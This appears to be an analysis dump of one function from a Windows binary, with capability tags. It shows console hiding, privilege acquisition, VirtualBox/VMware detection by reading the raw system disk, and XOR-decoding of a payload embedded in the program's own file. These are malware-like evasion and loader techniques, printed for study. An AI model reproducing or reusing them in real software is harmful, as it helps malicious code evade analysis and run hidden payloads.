Function at 0x1400034e0
Capabilities:
Acquire debug privileges
Create thread
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x1401d60c0]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, str.SeSecurityPrivilege
mov rdx, rax
call fcn.140007fd0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [0x1401b7aa0]
mov rdx, rax
call fcn.140007fd0
call fcn.140003cd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov r8d, listen
lea rdx, str.VBoxVBoxVBox
lea rcx, [rsp + 0x50]
call fcn.140007620
nop
mov r14, qword [rsp + 0x60]
lea rcx, [r14 + 1]
call fcn.1400f4f78
mov rsi, rax
lea r8, [r14 + 1]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400035e2
mov rcx, rsi
call fcn.1400f4de8
jmp 0x14000367a
mov edx, r14d
neg edx
mov r9d, 2
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x140003668
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
mov r8d, r14d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140003668
mov eax, dword [rsp + 0x70]
cmp rax, r14
jne 0x140003668
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
mov rcx, rsi
test eax, eax
jne 0x14000366b
call fcn.1400f4de8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x50]
call fcn.1400064a0
lea rdx, str.Machine_VirtualBox_d
jmp 0x14000368b
mov rcx, rsi
call fcn.1400f4de8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x50]
call fcn.1400064a0
lea rdx, str.Aucune_machine_VirtualBox_d
lea rbx, [0x1401d9480]
mov rcx, rbx
call fcn.1400071a0
mov rcx, rax
call fcn.140007450
call fcn.1400080b0
mov rcx, rbx
test al, al
lea rdx, str.Machine_VMware_d
jne 0x1400036bc
lea rdx, str.Aucune_machine_VMware_d
call fcn.1400071a0
mov rcx, rax
call fcn.140007450
lea rdx, str.Aucune_machine_Virtuel_d
mov rcx, rbx
call fcn.1400071a0
mov rcx, rax
call fcn.140007450
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400f4f3c
mov rbx, rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
mov byte [rax + 0x18], 0
mov dword [rax], 0x48
lea rax, [0x1401100b8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], Ordinal_79
xor r9d, r9d
xor edx, edx
mov rsi, 0xffffffffffffffff
mov r8d, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbx + 8], rax
test rax, rax
je 0x140003767
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbx + 0x10], rax
mov byte [rbx + 0x18], 1
mov qword [rsp + 0x40], rbx
cmp byte [rbx + 0x18], 0
jne 0x140003784
lea rdx, str.An_error_occured_while_initializing_communication.
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_FatalAppExitW]
mov ecx, 1
call fcn.1400f4f3c
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140007dd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140003c59
cmp dword [rsp + 0x58], 0
je 0x140003c4e
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.1400f6ef8
test eax, eax
jne 0x140003c4e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov ecx, 1
call fcn.1400f4f3c
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140007e00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140003cc1
cmp dword [rsp + 0x58], 0
je 0x140003cb6
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.1400f6ef8
test eax, eax
jne 0x140003cb6
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov ecx, 1
call fcn.1400f4f3c
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140007e30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140003ca7
cmp dword [rsp + 0x58], 0
je 0x140003c9c
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.1400f6ef8
test eax, eax
jne 0x140003c9c
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov ecx, 8
call fcn.1400f4f3c
lea rcx, [rsp + 0x40]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140007e60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140003c8d
cmp dword [rsp + 0x58], 0
je 0x140003c82
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.1400f6ef8
test eax, eax
jne 0x140003c82
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov ecx, 8
call fcn.1400f4f3c
lea rcx, [rsp + 0x40]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140007ef0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140003c73
cmp dword [rsp + 0x58], 0
je 0x140003c68
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call fcn.1400f6ef8
test eax, eax
jne 0x140003c68
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1401bc4b0]
movdqu xmmword [rsp + 0x50], xmm1
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x70]
call fcn.140005440
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.140005780
mov rbx, qword [rax + 8]
add rbx, qword [rax]
lea rcx, [rbp - 0x70]
call fcn.140005860
mov rcx, rbx
call fcn.1400f4f78
mov r14, rax
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140005a50
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
lea rdx, [rbx - 0x10]
add rdx, r14
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x70]
call fcn.140007620
nop
cmp qword [rbp - 0x80], 0
jbe 0x140003ae0
mov r8, rdi
nop word [rax + rax]
lea rdx, [rsp + 0x70]
mov r9, qword [rsp + 0x70]
mov r10, qword [rbp - 0x78]
cmp r10, 0xf
cmova rdx, r9
mov eax, edi
and eax, 0x8000000f
jge 0x140003ab6
dec eax
or eax, 0xfffffff0
inc eax
cdqe
movzx ecx, byte [rsp + rax + 0x50]
xor cl, byte [r8 + rdx]
lea rax, [rsp + 0x70]
cmp r10, 0xf
cmova rax, r9
mov byte [r8 + rax], cl
inc edi
inc r8
movsxd rax, edi
cmp rax, qword [rbp - 0x80]
jb 0x140003a90
mov rcx, r14
call fcn.1400f4de8
lea rbx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rbx, qword [rsp + 0x70]
call fcn.140003cd0
nop dword [rax]
inc rsi
cmp byte [rbx + rsi], 0
jne 0x140003b00
mov r8, rsi
mov rdx, rbx
lea rcx, [rax + 0x40]
call fcn.140006a70
cmp byte [0x1401d6240], 0
jne 0x140003b35
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1401d6240], 0
je 0x140003b21
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400043d0
lea rbx, [rax + 0x2e0]
mov rcx, rbx
call fcn.140055190
test eax, eax
js 0x140003b7d
mov rcx, rbx
call fcn.140053370
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140003b6e
call fcn.140068630
mov rcx, qword [rbx]
add rcx, 0x240
call fcn.14006b230
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x140003bae
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140003b96
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rbx
call fcn.1400f4de8
nop
lea rcx, [rsp + 0x70]
call fcn.1400064a0
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.1400050d0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x74], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x40]
call fcn.1400f6870
nop
xor eax, eax
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.1400f4b80
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call fcn.1400f60b8
nop
mov dword [rsp + 0x58], edi
mov ecx, 6
call fcn.1400f60b8
nop
mov ecx, 1
call fcn.1400f60b8
nop
mov dword [rsp + 0x58], edi
mov ecx, 6
call fcn.1400f60b8
nop
mov ecx, 1
call fcn.1400f60b8
nop
mov dword [rsp + 0x58], edi
mov ecx, 6
call fcn.1400f60b8
nop
mov ecx, 1
call fcn.1400f60b8
nop
mov dword [rsp + 0x58], edi
mov ecx, 6
call fcn.1400f60b8
nop
mov ecx, 1
call fcn.1400f60b8
nop
mov dword [rsp + 0x58], edi
mov ecx, 6
call fcn.1400f60b8
int3